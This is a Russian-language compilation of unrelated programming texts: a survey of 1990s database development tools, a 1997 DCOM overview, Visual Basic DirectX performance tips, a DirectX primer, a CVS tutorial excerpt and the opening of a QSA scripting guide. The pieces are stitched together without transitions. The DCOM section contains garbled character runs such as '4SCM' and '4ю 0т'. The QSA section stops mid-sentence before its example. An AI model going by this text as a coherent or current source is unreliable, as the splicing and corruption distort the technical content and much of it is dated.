    Достаточно взглянуть на Delphi (Borland) или PowerBuilder (Powersoft), чтобы оценить, насколько использование 4GL облегчает создание приложений баз данных с графическим интерфейсом (GUI - Graphical User Interface) по сравнению с применением С++. Средства разработки, основанные на использовании браузеров. В области разработки приложений наблюдается сдвиг от классических исполняемых приложений к приложениям, базирующихся на браузерах, в которых используются HTML-страницы, компоненты и встроенные скрипты. Примером средства, создающего основанные на браузерах приложения, является HAHTSite. В отличие от клиент-серверных приложений, в приложениях, основанных на использовании браузеров, используется модель HTML в дополнение к модели непосредственно исполняемых приложений. При наличии небольшой компании можно обойтись использованием настольных платформ. Однако, если имеется большая, динамичная организация, может потребоваться разработка, охватывающая все три платформы: настольные, корпоративные и Internet. Тогда нужно подыскать подходящего поставщика. Возникает вопрос: Насколько много нужно знать, чтобы добиться того, что нужно? Похоже, что наиболее оптимальное решение дают 4GL. Если же прикладная область ориентирована на использование Internet, то требуется применение 3GL, основанных на языке Java. Многое число приложений ориентировано на использование одним или небольшим числом пользователей. С этим связана тенденция к расширению круга мобильных (mobile - не привязанных к конкретному месту) или удаленных пользователей. Многие из средств, поддерживающих этот стиль разработки, обеспечивают полную среду разработки (IDE - Interactive Development Environment), связь с базами данных, а также возможности GUI, генерации отчетов и связь с Internet. К наиболее распространенным средствам относятся Microsoft Access и Borland Visual dBase. Для эффективной разработки подобных приложений разумно использовать продукты 4GL, многие из которых являются Basic-подобными. Редко требуются более тонкие возможности таких 3GL, как C или C++.


    Для построения солидной настольной системы может понадобиться умение работать с языком SQL, а при использовании некоторых средств разработки - конкретных диалектов языков баз данных. В последние несколько лет популярным средством разработки настольных прикладных систем являлся продукт Microsoft Access, в то время как более старые средства семейства Xbase и Paradox (теперь принадлежит компании Corel Corp.) до некоторой степени утратили свои позиции. Рынок настольных систем также является областью распространения Visual Basic и PowerBuilder Desktop Edition (Powersoft). При ориентации на разработку именно настольных систем трудно конкурировать с Microsoft Access. Наличие хорошей реляционной СУБД, интегрированной со средствами разработки графических пользовательских интерфейсов и генерации отчетов, дает возможность как новичкам, так и профессионалам производить работоспособные и выразительные приложения. Access развивается в сторону сопряжения с Web-системами. В Access 97 добавлен новый тип данных "hyperlink", значения которого можно использовать для связи с узлами Internet. Разработчики могут встраивать связи в базу данных и предоставлять пользователям возможность выбора в многообразии Сети. При выборе связи вызывается браузер, назначенный ей по умолчанию, и отображается Web-страница. Основным недостатком настольных систем является то, что они недостаточно хорошо масштабируются. Можно привести массу примеров, когда люди с использованием Microsoft Access пытались разработать среднюю или большую систему уровня отдела или корпорации и потерпели неудачу. При переходе к разработки корпоративных приложений приходится сталкиваться с возрастающей сложностью и другими проблемами, которые нехарактерны на более мелких приложений. Например, однопользовательские системы часто создаются одним разработчиком, в то время как корпоративные приложения обычно разрабатываются коллективом. Следовательно, требуется поддержка коллективного труда, в том числе, управление версиями. Необходимо также учитывать, что корпоративные системы обычно связаны с серверами баз данных с помощью сети, в то время как настольные приложения, как правило, работают с базами данных, хранящимися в том же компьютере. Для того, чтобы правильно выбрать средство разработки корпоративной информационной системы, следует оценить потребности корпорации, возможности ее персонала и составить список необходимых качеств средств разработки.


    Следует начать с того, что большинство компаний не связывают свою активность только с одним поставщиком СУБД. Поэтому выбираемое средство разработки должно быть в состоянии работать с набором наиболее популярных серверов баз данных. Обычно доступ к базам данных производится либо на основе собственных драйверов поставщика, либо на базе ODBC. Собственные драйверы обычно обладают лучшими характеристиками и скорости, и надежности. Примером продукта, в котором используются собственные драйверы, является Team Developer компании Centura Software Corp., который поддерживает связь со многими популярными реляционными СУБД. Это не означает, что подход ODBC плох; в некоторых случаях без специальных функций ODBC просто невозможно обойтись. Просто это другой уровень, через который должно пройти приложение, чтобы достичь данных. Примером средства разработки, основанным исключительно на ODBC, является Visual Basic. Некоторые средства поддерживают оба способа доступа; примеры - Magic (Magic Software Enterprises Inc.), PowerBuilder и Developer/2000 (Oracle Corp.). Другим важным для некоторых компаний соображений является возможность средства разработки производить кросс-платформенные приложения. Могут ли, например, использовать одно и то же корпоративное приложение пользователи NT и Macintosh? При создании кросс-платформенных систем следует избегать использования специальных возможностей, которые не поддерживаются на каждой платформе (например, OLE). Примерами средств разработки, которые близки к удовлетворению подобных требований, являются JAM (JYACC, www.prolitics.com), Magic, Passport IntrPrise (Passport Corp.), Unify (Unify). Однако нужно иметь в виду, что кросс-платформенные средства разработки не дешевы. Примерно год тому назад возможность разделения приложений являлась требованием к любому хорошему средству разработки в архитектуре "клиент-сервер". В настоящее время большее внимание уделяется разделению Web-приложений. Web-серверы и другие программы, выполняемые в Web-узле, составляют дополнительное звено в добавок к браузерам клиента, базе данных и даже другим серверам, таким как серверы приложений категории реляционных или многомерных OLAP.


    После появления DCOM использование многозвенных приложений будет нарастать. В сообществе Internet увеличивается интерес к распределенным архитектурам, основанным на подходе CORBA. Недостатком n-звенной архитектуры является то, что возрастает число потенциально сбойных узлов, и увеличивается трафик сети. Тем не менее, если этот подход устраивает, рынок предлагает основательные средства: Dynastry, Forte, Allegris (новый продукт компании Intersosv Inc.) и PowerBuilder 5.0. Некоторые компании предлагают несколько средств для построения n-звенного приложения. Например, может использоваться Delphi при разработке логики приложения на основе Borland C++ с применением Borland C++ Toolkit. Реально, очень много зависит от возможностей персонала вашей компании. Можно пользоваться двумя разными способами выбора средств разработки. Во-первых, можно не обращать внимание на возможности персонала. Второй подход подразумевает строгий учет сильных и слабых качеств разработчиков и выбор средства, освоение которого по силам корпорации. Часто эти соображения приводят к выбору средств 3GL или 4GL. Большая часть коммерческого программного обеспечения написана на языках C или C++, и использование этих языков оправдано при наличии достаточно квалифицированных разработчиков. При ориентации на использование 3GL следует обратить внимание на такие продукты как Microsoft Visual C++, Borland C++ и Watcom C++ (последний из перечисленных продуктов принадлежит Sybase Inc.). Для доступа к базам данных можно использовать dbtools.h++ от компании Rogue Wave Software Inc. Следующий шаг на пути выбора средств разработки должен включать перечень требований к объектной ориентированности (Object-Oriented Approach - OO). От разработчика требуется не так много времени, чтобы понять принципы наследования, полиморфизма и инкапсуляции. Вместе с тем, применение этих принципов позволит получить более "чистый" код за более короткое время. Средства уровня 4GL (например, PowerBuilder), как правило, поддерживают этот метод разработки приложений.


    Тем не менее, для полезного использования подхода OO требуется его основательное понимание. Возможно, проще использовать основанные на графических интерфейсах средства 4GL, чем 3GL (например, Delphi или Team Developer компании Centura). Большинство современных средств разработки одновременно поддерживает возможность создания Web-приложений. В частности, Developer/2000 (Oracle) и Internet Developer's Toolkit (Powersoft) обеспечивают такие возможности. С использованием Web.PB можно конструировать распределенные приложения на основе PowerBuilder, обеспечивающие доступ к базам данных на основе стандартных браузеров. Но это дорого стоит (базовый комплект - от $2,500 до $5,000); при этом нужно учитывать потребность в приобретении сопутствующих продуктов (библиотеки классов, драйверы ODBC, средства управления версиями и т.д.). Если корпорации требуются статические Web-страницы, можно пользоваться любимым редактором текстов с последующей его конвертацией в формат HTML. Например, можно пользоваться редактором Microsoft Word при поддержке Doc-To-Help (Wextech Systems Inc.) или продуктов RoboHelp и WinHelp (Blue Sky Software Corp.). Для создания простых форм для связи с базами данных можно использовать Microsoft FrontPage 97. Для создания динамических Web-приложений в настоящее время нет законченных инструментальных средств, однако компания Symantec Corp. успешно продвигается на пути к объявлению полной среды Java-программирования. Компания Microsoft со своим продуктом Visual J++ тоже движется в этом направлении. Inside DCOM Mark Roy, a principal consultant at Semaphore, E-mail:
    Alan Ewald, a software architect at NobleNet Inc. E-mail:

    На основе спецификации CORBA, разработанной Object Management Group, выпущен ряд программных продуктов, которые поддерживают распределенную объектную обработку. Теперь профессионалы в области программного обеспечения должны серьезно заинтересоваться другой распределенной объектной архитектурой, созданной в компании Microsoft Corp. и получившей название Distributed COM, или DCOM.


    DCOM является расширением компонентной объектной модели (Component Object Model - COM), которая в течение многих лет входила как составная часть в операционные системы семейства Windows и на основе которой были разработаны OLE и ActiveX. COM позволяет разработчикам использовать в качестве абстракции интерфейсы компонентов и обеспечивает бинарные (заранее откомпилированные) класса, реализующие эти интерфейсы. Поддерживается строгая инкапсуляция объектов, так что из клиентского приложения можно вызвать только те функции, которые определены в интерфейсе объекта. Стандарт бинарной интероперабельности COM стимулирует независимую разработку программных компонентов и их распространение в бинарной форме. DCOM расширяет COM для использования в сетевой среде с применением удаленных вызовов методов, средств безопасности, масштабирования и прозрачности местоположения объектов. Поскольку возможности DCOM становятся доступными на платформах, отличных от Windows NT и Windows 95, компании могут создавать программное обеспечение с использованием существующей инфрастуктуры с доступом к унаследованным (legacy) приложениям и базам данных. В COM интерфейс определяет поведение или возможности программного компонента в виде набора методов и свойств. Каждый объект COM должен поддерживать по меньшей мере один интерфейс (с именем IUnknown), но может одновременно поддерживать и несколько интерфейсов. Для описания интерфейсов компонентов используется язык определения интерфейсов компании Microsoft (Microsoft's Interface Definition Language - MIDL), объектно-ориентированное расширение DCE RPC IDL. Имеется компилятор MIDL, который генерирует код прокси (proxy) и стабов (stub) на языках Си и Си++. Сгенерированный код прокси поддерживает на стороне клиента интерфейс прикладного программирования (Application Programming Interface - API), к объектам, реализующим соответствующий интерфейс. Объекты-стабы декодируют поступающие заявки клиентов и доставляют их нужному объекту на стороне сервера. Внутреннее взаимодействие прокси и стаба с целью обмена заявками и ответами реализуется с помощью соответствующих библиотек времени выполнения.


    Программное обеспечение COM оптимизирует взаимодействие процессов, если они сосуществуют в одном процессе. Каждому интерфейсу сопоставляется уникальный идентификатор (Interface Identifier - IID), устраняющий потенциально возможные коллизии имен. На наличии IID основана также модель управления версиями. Каждый объект COM должен поддерживать по меньшей мере один стандартный интерфейс IUnknown, в котором обеспечиваются базовые строительные блоки для управления жизненным циклом объекта и возможности постепенного эволюционирования интерфейсов объекта. Метод QueryInterface интерфейса IUnknown используется клиентами для определения того, поддерживается ли данным объектом интерфейс с идентификатором IID. Со временем объект может начать поддерживать новые интерфейсы или новые версии существующих интерфейсов. Существующие клиенты могут продолжать поддерживать ранние версии интерфейсов, а новые клиенты могут узнать о существовании новых версий интерфейсов путем вызова метода QueryInterface. Этот метод возвращает указатель интерфейса, ссылающийся на структуру данных, организованную в соответствии со стандартом двоичной интероперабельности COM. Интерфейсов самих по себе недостаточно для построения полных COM-приложений. Класс COM - это тело исходного текста, которое, помимо прочего, является реализацией одного или нескольких COM-интерфейсов. Класс обеспечивает реальные функции для любого метода интерфейса, представленные на любом поддерживаемом языке программирования. Каждый COM-класс обладает уникальным идентификатором, называемом CLSID. Для взаимодействия с компонентом приложение-клиент должно знать (или быть в состоянии узнать) по меньшей мере один CLSID и IID интерфейса, который поддерживается этим классом. С использованием этой информации клиент может запросить COM создать объект и вернуть соответствующий указатель интерфейса. Один или несколько классов могут быть упакованы в сервер с использованием одного из нескольких доступных средств. COM-сервер может быть упакован как динамическая библиотека связи (Dynamic Link Library), которая загружается в процесс клиента при первом доступе к серверу.


    Такой сервер называется внутрипроцессным. К категории внутрипроцессных серверов относится сервер управления ActiveX. COM-сервер может быть упакован в виде отдельной выполняемой программы. Серверы этого типа могут выполняться в той же машине, что и клиент, или в удаленной машине, доступной посредством DCOM. Такие серверы называются внепроцессными. Код клиента для взаимодействия с различными видами COM-серверов один и тот же. Клиентские приложения взаимодействуют с объектами COM на основе указателей интерфейсов. Инкапсуляция, обеспечиваемая COM, гарантирует, что клиент не зависим от всех деталей реализации объекта COM. Каждый COM-объект является экземпляром COM-класса. Каждый COM-класс ассоциируется с другим COM-классом, называемом фабрикой классов, задача которой состоит в создании экземпляров классов COM. Фабрика обычно поддерживает стандартный интерфейс, определенный в модели COM и называемый IClassFactory. При наличии известного CLSID и описания ассоциированного с ним COM-сервера служба поддержки времени выполнения COM может найти фабрику для этого CLSID. После создания COM-объекта COM использует стандартный протокол для отслеживания существующих ссылок на объект и распознавания ситуаций, в которых объект может быть уничтожен. Когда счетчик числа ссылок становится равным нулю, предполагается, что больше никто из клиентов не ссылается на объект, и его можно уничтожить. Любой из методов, возвращающих указатель на интерфейс, должен вызвать метод AddRef, чтобы оповестить COM о наличии новой ссылки на объект. Клиенты, использующие указатели на объекты, должны вызвать метод Release до того, как прекратить доступ к объекту через существующий указатель. В центре архитектуры COM находится интероперабельность компонентов. В документации COM определен стандарт бинарных вызовов, в котором определено расположение данных в стеке для всех вызовов методов. В DCOM этот стандарт расширен за счет спецификации сетевого протокола интероперабельности. Бинарный стандарт обеспечивает возможность использования готовых компонентов без потребности доступа к исходным текстам.


    В этом стандарте указатель на интерфейс определяется как ссылка на таблицу функций. Для внутрипроцессных серверов таблица функций содержит ссылки на реальные функции, реализующие объект. Для внепроцессных серверов таблица функций ссылается на прокси-функции. Ключевым свойством архитектуры COM является прозрачность упаковки. Разработчики могут распространять компоненты в виде DLL или выполняемых программ. Клиентские приложения не должны заботиться о том, что представляет из себя сервер. Клиент может ограничить вид сервера, но не обязан делать это. Библиотека COM определяет место расположения запрашиваемого класса и устанавливает соединение между клиентом и сервером. COM обеспечивает этот сервис путем опроса реализаций COM-классов с тем, чтобы зарегистрировать в локальном режиме тип сервера и место расположения его DLL или отдельно выполняемого кода. Менеджер управления сервисами (Service Control Manager - SCM) COM производит поиск CLSID в системе локальной регистрации и предпринимает соответствующие действия для активизации сервера. Разработчики не взаимодействуют с 4SCM напрямую. 0Библиотечные функции COM используют 4ю 0т 4SCM при запросе создания объекта или 4установлении места расположения фабрики классов. DCOM расширяет COM возможностями работы в сети. Во-первых, это касается расширенных возможностей прозрачности местоположения; объект может существовать где угодно в сети. Протокол "Object RPC (ORPC)" DCOM расширяет RPC средствами указания типа объектного указателя. Когда объект обращается к фабрике классов COM на предмет создания удаленного объекта, локальный SCM контактирует с SCM на удаленной машине. Локальный SCM обнаруживает местоположение сервера и запускает его, а также возвращает RPC-подключение к запрошенной фабрике классов. Для клиентского приложения создается прокси фабрики классов, и создание объекта продолжается так же, как в несетевом варианте. При наличии соответствующих административных установок клиенты могут получить доступ к объектам DCOM на удаленных машинах без потребности специального сетевого программирования.


    Кроме того, клиенты могут указать удаленный узел, к которому следует обратиться при создании нового объекта DCOM. На возможности масштабируемости распределенных объектных систем влияют несколько факторов. Для достижения наивысшей производительности на одной машине обычно требуется использование многопотоковых (multithreaded) серверов. Это обеспечивает эффективное применение мультипроцессорных машин. В DCOM многопотоковый стиль доступен для использования сервера в любом рассмотренном раньше режиме. При использовании модели асинхронного выполнения программ, внедренной в Windows NT 4.0 и получившей название "свободной многопотоковости" (free threading) каждый вызов объекта может обслуживаться в отдельном потоке; несколько вызовов одного объекта могут выполняться в разных потоках. С помощью специальных примитивов можно запретить многопотоковость для всех объектов, однако для приложений, требующих особо высокой эффективности, требуется расплачиваться повышенной сложностью. DCOM обеспечивает поддержку нескольких уровней безопасности, которые могут быть выбраны в соответствии с потребностями разработчика и администратора. Один и тот же компонент может быть использован в среде без требований безопасности и в среде с очень строгими требованиями безопасности. Для каждого компонента поддерживаются списки контроля доступа (Access Control Lists - ACL). Чтобы соблюдать высокий уровень безопасности, можно управлять ACL с помощью средства, называемого DCOMCNFG. С использованием этого средства администратор может определить, какие пользователи и группы имеют доступ к конкретным объектным серверам на данной машине. Дополнительный уровень безопасности указывает на возможность запуска сервера. По умолчанию только администратор может запускать удаленные объекты DCOM. Более тонкая безопасность достигается путем явного добавления соответствующего кода к методам объектов. Одной из проблем разработчиков распределенных приложений является создание серверов, которые могут распознать исчезновение своих клиентов. Типичное решение состоит в использовании служебных сообщений, подтверждающих, что процесс-партнер все еще жив.


    В мире распределенных объектов такой подход существенно нагружает сетевой трафик. Для оптимизации в DCOM используются сообщения на межмашинном уровне: независимо от числа клиентских процессов на одной машине и серверных компонентов на удаленной машине посылается одно служебное сообщение. Если клиент исчезает, DCOM распознает это событие и вызывает метод Release через указатель интерфейса соответствующего сервера. Дополнительная оптимизация состоит во включении служебных сообщений в обычные сообщения-заявки. Кроме того, в DCOM реализован компонент Object Exporter, который следит за объектами и объектными ссылками, полученными из других машин. Управление и конфигурирование крупномасштабных распределенных сред остается сложной задачей. DCOM поддерживает средства для облегчения этой работы, но она все еще не является тривиальной. Каждый распространяемый компонент должен быть зарегистрирован на индивидуальных клиентских машинах и на одной или нескольких серверных машин. При возрастании числа компьютеров и компонентов менеджеры сети сталкиваются с проблемой балансировки загрузки сети клиентскими заявками. В DCOM нет встроенной поддержки балансировки. Если приложение не производит динамическую балансировку, менеджер сети должен статически конфигурировать среду так, чтобы указанные клиентские машины использовали конкретный сервер. При перемещении компонента на другую машину-сервер все ссылки на старую машину должны быть изменены. DCOM является составной частью Windows NT 4.0; производится окончательное бета-тестирование для среды Windows 95. Можно переписать версию Developer Beta RC2 с Web-сервера компании Microsoft и испытать ее самостоятельно. Бета-версия DCOM для платформы Solaris доступна от компании Software AG. В течение 1997 г. ожидается появление версий продукта для платформ IBM MVS, OS/400, AIX, HP-UX, Digital UNIX, OpenVMS, Linux и UnixWare компании SCO. DCOM применяется в двух новых технологиях компании Microsoft. Во-первых, это Directory Services, которые должны появиться в Windows NT 5.0 и обеспечить масштабируемое хранилище указателей на объекты и информации, касающейся безопасности.Вторая технология применяется в Microsoft Transsaction Server, который начали поставлять в начале 1997 г. Кроме того, COM и DCOM применяются для обеспечения доступа к базам данных. Стандарт компании Microsoft OLE DB специфицирует способы интероперабельности баз данных и доступа к ним со стороны приложений. Координаты компании: Microsoft Corp., Обзор подготовлен С.Кузнецовым, , 11 июня 1997 года

    Directxopt.shtml

    Как заставить игру работать быстрее Автор: , . В этой маленькой статье я дам несколько собранных мною советов как сделать ваш программный код для DirectX более быстрым. Во-первых, если вы хотите работать с DirectX, переходите на VB6. Сама программа шестого бейсика работает быстрее, чем программа пятого (спасибо компилятору). Во-вторых, библиотека седьмого DirectX от Microsoft работает ГОРАЗДО (!) быстрее, чем Patrice Scribe TLB (неполная функциональность это уже отдельный разговор). Итак, про компилятор вроде бы сказал. Вам не потребуется компилировать всю программу, если вы хотите посмотреть только маленькое изменение, так как делает это Си. Однако сама программа Visual Basic работает во много раз медленнее программы на Си - и опять это заслуга компилятора, ну не может он отучить прогу от родной msvbvm60 библиотеки. :( Вот некоторые советы, которые помогут вам сделать вашу DirectX игру более быстрой:
  • Если вы совершаете блиттинг в DirectX с помощью программного драйвера, а не аппаратного ускорения, то используйте функцию BltFast, если вам надо просто перенести спрайт, а не использовать растяжение, вращение и т. п. BltFast работает примерно на 10% быстрее, чем функция Blt, а также и просто удобнее в использовании, потому что вам надо передавать меньше структур.
  • DirectDraw и Direct3D гораздо быстрее в полноэкранном режиме, чем в оконном
  • Избегайте очень много операций блиттинга.
  • Избегайте создания большого количества поверхностей. Не создавайте массивы поверхностей. Старайтесь размещать как можно больше спрайтов на одной поверхности.
  • Если вы делаете игру с большим количеством спрайтов и/или тайлов, попробуйте размещать их в массивы структур, создавать классы или что-нибудь в этом роде. Таким образом, когда вам надо будет вывести все спрайты, вы можете нарисовать их в один цикл типа этого: Dim i As Long For i = 0 To NUM_SPRITES Call Sprite(i).DoAI Call Sprite(i).Move Call Sprite(i).Draw Next i
  • В тайловых играх старайтесь не прорисовывать всю карту (я имею в виду видимую часть) каждый раз, когда спрайт героя двигается.
    Постарайтесь сделать процедуру, которая будет прорисовывать за один раз одну колонку или строку.
  • Избегайте большого количества циклов. Старайтесь сделать как можно больше работы за один цикл.
  • Попробуйте сделать несколько "процессов". Операции блиттинга и флиппинга, а также ожидания нового цикла обновления экрана занимают время и в это время компьютер ничего не делает. Постарайтесь сделать параллельный процесс, который будет в это время обсчитывать, ну скажем следующую позицию спрайта.
  • Если вы создаете Direct3D игру, выполните поиск устройства, наиболее подходящего для D3D
  • Ramp эмуляция всегда лучше RGB эмуляции, однако ни одна из них не сравнится с HAL (Hardware Acceleration Layer - рендеринг через аппаратное ускорение).
  • В Direct3D Retained Mode при рендеринге большого количества многоугольников без использования HAL используйте Flat shading. Этот эффект гораздо быстрее Gouraud shading.
  • Без аппаратного ускорения избавляйтесь от эффекта Dithering (сглаживания пикселей). Конечно игра быдет выглядеть с ним лучше, но это очень сильно тормозит программу. Если используете HAL, тогда верните Dithering на место :)
  • Не надо все время инициализировать объекты, как только они вам понадобятся. Инициализировать объект один раз - гораздо лучше, чем делать это дважды и трижды. Во-первых, вам не надо второй раз беспокоится об ошибках, которые могут быть при инициализации, а во-вторых знаете как раздражает, когда игра при выходе из меню начинает жевать винчестером???!!!!
  • Избегайте множества переменных Public и длинных массивов. Они жрут больше стэкового места на протяжении всего сеанса запуска программы и они могут затормозить программу. Старайтесь не делать чего-то если можно этого не делать. VB еще не настолько быстр, чтобы позволять себе много эффектов. Старайтесь делать программу меньше, а код быстрее. Вобщем посмотрите на Unreal и скажите сами себе: Я НЕ ХОЧУ, ЧТОБЫ МОЯ ПРОГА СТОЛЬКО ГРУЗИЛАСЬ!!! Прятного программирования,

    Directxwhatis.shtml

    Что такое DirectX? Автор: , . Эта статья предназначена для тех, кто хотел бы изучить основы программирования DirectX на Visual Basic, но знает только, что DirectX - это какая-то ускорительная фича, а в чем здесь собственно суть представляет себе не очень. DirectX представляет собой набор технологий и инструментов, которые позволяют создавать разработчику игры и мультимедиа приожения с неслыханным во времена MS-DOS качеством графики и звука. Кроме этого, DirectX служит для обработки клавиатуры, мыши, джойстика, а также для сетевого сообщения. DirectX подразделяется на несколько частей, каждая из которых отвечает за что-то свое:
  • DirectDraw - служит для ускорения отображения и обработки двумерной графики
  • Direct3D - для ускорения трехмерной графики
  • DirectSound - работает со звуком - микширование и 3D звук
  • DirectInput - для обработки клавиатуры, мыши, джойстика и так далее
  • DirectPlay - служит в основном для сетевой игры Эти разделы освещаются здесь, в . Кроме этого существуют и другие разделы:
  • DirectAnimation - для создания анимационных эффектов в WEB-стриницах
  • DirectShow - для применения мультимедиа в WEB
  • DirectMusic - новый раздел. Служит для применения музыки в играх И это еще не все. DirectX разрабатывался специально, чтобы превратить платформу Windows как в основную для разработки игр. До этого разработчики использовали только MS-DOS и лишь совсем незначительная часть игр делалась для Windows 3.xx Одной из более ранних попыток Microsoft был выпуск WinG, который позволял разработчикам не писать бесконечные поддержки для различных типов аудио-видеоадаптеров, однако появление DirectX полностью изменило дело в пользу Windows. Теперь, разработчики могли почти не отвлекаться на подержки различных карт, потому что если у карты была поддержка DirectX, то несовместимость больше не была проблемой. К слову сказать, Direct3D был попыткой Microsoft как всегда все подгрести под себя. В их стратегии стояло создать универсальный интерфейс для программрования ускорителей трехмерной графики, однако среди преимуществ Direct3D было и много недостатков, поэтому не все производители трехмерных игр используют D3D, предпочитая или интерфейс OpenGL производства Silicon Graphics или пишут игры под Glide интерфейс, который поддерживается только видеокартами на чипсете 3DFX.
    Так, в знаменитом Quake используется OpenGL, а в первых частях Tomb Raider - DosGlide. DirectX - это интефейс довольно низкого уровня. С помощью своих API он предоставляет программисту прямой доступ к памяти адаптеров, где программист может создавать изображение, хранить графические образы, звуки и т. д. За счет непосредственной работы с памятью достигается ускорение, то есть теоретически частота, с которой программист сможет заставить прорисоваваться экран будет зависеть только от частоты, поддерживаемой монитором. Реально же, человек уже слабо воспринимает различия в частоте обновления, если она более 33 FPS (Frame Per Second - кадров в секунду), поэтому будет очень хорошо, если Вы сможете подвести Вашу частоту к этой. Современные графические адаптеры позволяют доводить FPS двумерной графики до всех разумных пределов, поэтому все задержки с ее отображением от того, что компьютер не успел подготовить новое изображение, а это уже зависит от чатоты процессора и объема оперативной памяти. В трехмерной же графике все сложнее. Здесь скорость отображения зависит как и от мощности компьютера, так и от качества и способности ускорения графической карты. Разработчики видеоускорителей применяют все более и более навороченные технологии ускорения и все для того, чтобы увеличить FPS еще на десяток кадров, а также улучшить качетво картинки (устранить пикселизацию, сгладить цвета...) Direct3D позволяет вам программировать для всех распространенных типов видеоускорителей, и вы можете делать это с помощью Visual Basic. C выходом седьмой версии, DirectX теперь официально поддерживает Visual Basic. Однако и до этого было возможно использовать DirectX из VB с помощью библиотек типов (c) Patrice Scribe. Но все же, скорость работы и количество поддерживаемых функций DirectX из VB оставляют желать лучшего. Основная часть внимания DirectX легла конечно же на C++. DirectX работает с VB примерно так: Команда VB -> DirectX Type Library - > DirectX -> DirectX что-нибудь делает DirectX что нибудь делает -> DirectX сообщает TL -> TL сообщает VB -> VB возвращает значение Сами видите, что цепочка чересчур длинна.Но что поделаешь, Visual Basic не был изначально инструемнтом для создания игр. Но с другой стороны, именно поэтому, программирование DirectX становится таким простым. Дерзайте, экспериментируйте, и кто знает, может быть у вас получится нечто такое!.. А то, что хоть то-нибудь получится, так это точно.

    Для чего нужен CVS?

    CVS поддерживает историю дерева каталогов с исходным кодом, работая с последовательностью изменений. CVS маркирует каждое изменение моментом времени, когда оно было сделано, и именем пользователя, совершившим изменение. Обычно человек, совершивший изменение, также предоставляет текстовое описание причины, по которой произошло изменение. Вооружившись всей этой информацией, CVS может отвечать на такие вопросы, как
  • Кто совершил данное изменение?
  • Когда они его совершили?
  • Зачем они это сделали?
  • Какие еще изменения произошли в то же самое время?


  • Добавление и удаление файлов

    CVS обращается с добавлением и удалением файлов так же, как и с прочими изменениями, записывая такие события в истории файлов. Можно смотреть на это так, как будто CVS сохраняет историю каталогов вместе с историей файлов. CVS не считает, что созданные файлы должны оказаться под его контролем; это не так во многих случаях. Например, не требуется записывать историю изменений объектных и выполняемых файлов, потому что их содержимое всегда может быть воссоздано из исходных файлов (надо надеяться). Вместо этого, когда вы создадите новый файл, cvs update маркирует этот файл флагом `?', пока вы не скажете CVS, что именно вы намереваетесь сделать с этим файлом. Чтобы добавить файл в проект, сначала вы должны создать его, затем использовать команду cvs add, чтобы маркировать его как добавленный. Затем при следующем выполнении команды cvs commit CVS добавит этот файл в репозиторий. Например, вот так можно добавить файл README в проект httpc: $ ls CVS Makefile httpc.c poll-server $ vi README ...введите описание httpc... $ ls CVS Makefile README httpc.c poll-server $ cvs update cvs update: Updating . ? README --- CVS еще не знает об этом файле $ cvs add README cvs add: scheduling file `README' for addition cvs add: use 'cvs commit' to add this file permanently $ cvs update --- что же теперь думает CVS? cvs update: Updating . A README --- Файл помечен как добавленный $ cvs commit README ... CVS просит вас ввести журнальную запись... RCS file: /u/jimb/cvs-class/rep/httpc/README,v done Checking in README; /u/src/master/httpc/README,v <-- README initial revision: 1.1 done $ CVS обращается с удаленными файлами почти так же. Если вы удалите файл и выполните `cvs update', CVS не считает, что вы намереваетесь удалить файл из проекта. Вместо этого он поступает милосерднее -- он восстанавливает последнюю сохраненную в репозитории версию файла и маркирует его флагом U, точно так же, как и любой другое обновление. (Это означает, что если вы хотите отменить изменения файла в рабочем каталоге, вы можете просто удалить его и позволить команде `cvs update' создать его заново.) Чтобы удалить файл из проекта, вы должны сначала удалить его,а потом использовать команду `cvs rm', чтобы пометить его для удаления. При следующем запуске команда `cvs commit' удалит файл из репозитория. Фиксирование файла, маркированного с помощью `cvs rm' не уничтожает историю этого файла -- к ней просто добавляется еще одна редакция --- "не существует". В репозитории по прежнему хранятся все записи об этом файле, и к ним можно обращаться по желанию -- например, с помощью `cvs diff' или `cvs log'. Для переименования файла существует несколько стратегий; самая простая --- переименовать файл в рабочем каталоге, затем выполнить `cvs rm' со старым именем и `cvs add' с новым. Недостаток этого подхода в том, что журнальные записи о содержимом старого файла не переносятся в новый файл. Другие стратегии позволяют избежать этого, но зато доставляют другие, более странные проблемы. Вы можете добавлять каталоги точно также, как и обычные файлы.

    Добавление поддержки сценариев в приложение

    Процесс добавления поддержки сценариев в приложение состоит из пяти шагов.
  • Собрать с библиотекой QSA.
    Для этого достаточно в файл .pro приложения добавить пару строк:
    unix:LIBS += -lqsa win32:LIBS += $(QTDIR)\lib\qsa100.lib
  • Добавить объекты приложения в механизм поддержки сценариев.
    Обеспечить доступ к объектам приложения из сценариев можно с помощью вызова QtApplicationScript::addObject(). Например, если будет добавлен объект fadeEffects, то из Qt Script он будет доступен как Application.fadeEffects. После того, как объект добавлен, автор сценария может вызывать слоты объекта и изменять любые его свойства. Сигналы, которые посылает объект, могут быть связаны с функциями Qt Script. Удалить объекты из области видимости механизма поддержки сценариев можно с помощью removeObject().
    Любой подкласс QObject может быть сделан доступным для программистов Qt Script. На практике разработчики должны создать несколько подклассов QObject, которые будут использоваться для изменения состояния приложения. Чтобы подкласс QObject сделать доступным для использования в Qt Script, необходимо использовать макросс Q_OBJECT (который обычно используют все подклассы QObject), и макросс Q_PROPERTY для его свойств. Любые свойства, сигналы и слоты объекта можно сделать доступными для механизма поддержки сценариев.
  • Открыть проект сценария.
    Проект сценария (scripting project) является контейнером для набора функций и классов. Некоторые приложения могут использовать один проект сценария; другие могут использовать несколько. QSA может открыть и сохранить проект сценария в файл или поместить его в поток (datastream). Например, при инициализации приложение создает указатель на объект QtApplicationScript, потом для тех объектов, доступ к которым нужно предоставить, вызывает addObject(), и затем с помощью QtApplicationScript::open() открывает проект сценария.
  • Разрешить пользователю создавать и редактировать сценарии.
    Если пользователям разрешено создавать свои собственные диалоги (например, для установки параметров в пользовательских функциях), им может быть предоставлен доступ к программе QSA Designer, которая может использоваться для создания, редактирования, выполнения и отладки сценариев.
    Это достигается с помощью лишь одного вызова: QtApplicationScript::self()->openDeveloper().
    Если пользователям разрешено создавать лишь не-GUI функции, они могут использовать либо QSA Designer с отключенными возможностями по созданию интерфейса, например QtApplicationScript::self()->openDeveloper(FALSE), либо текстовый редактор (например, QTextEdit) для написания собственного кода.
  • Разрешить пользователю выполнять сценарии.
    Сценарии могут выполняться программой QSA Designer. Сценарии, созданные в текстовом редакторе, могут быть выполнены передачей строки, содержащей сценарий, в функцию QtApplicationScript::evaluate(). На практике мы хотим предоставить пользователям доступ к своим сценариям непосредственно из приложения. Вот пример, показывающий, как автоматически создать QAction для любой пользовательской глобальной функции:
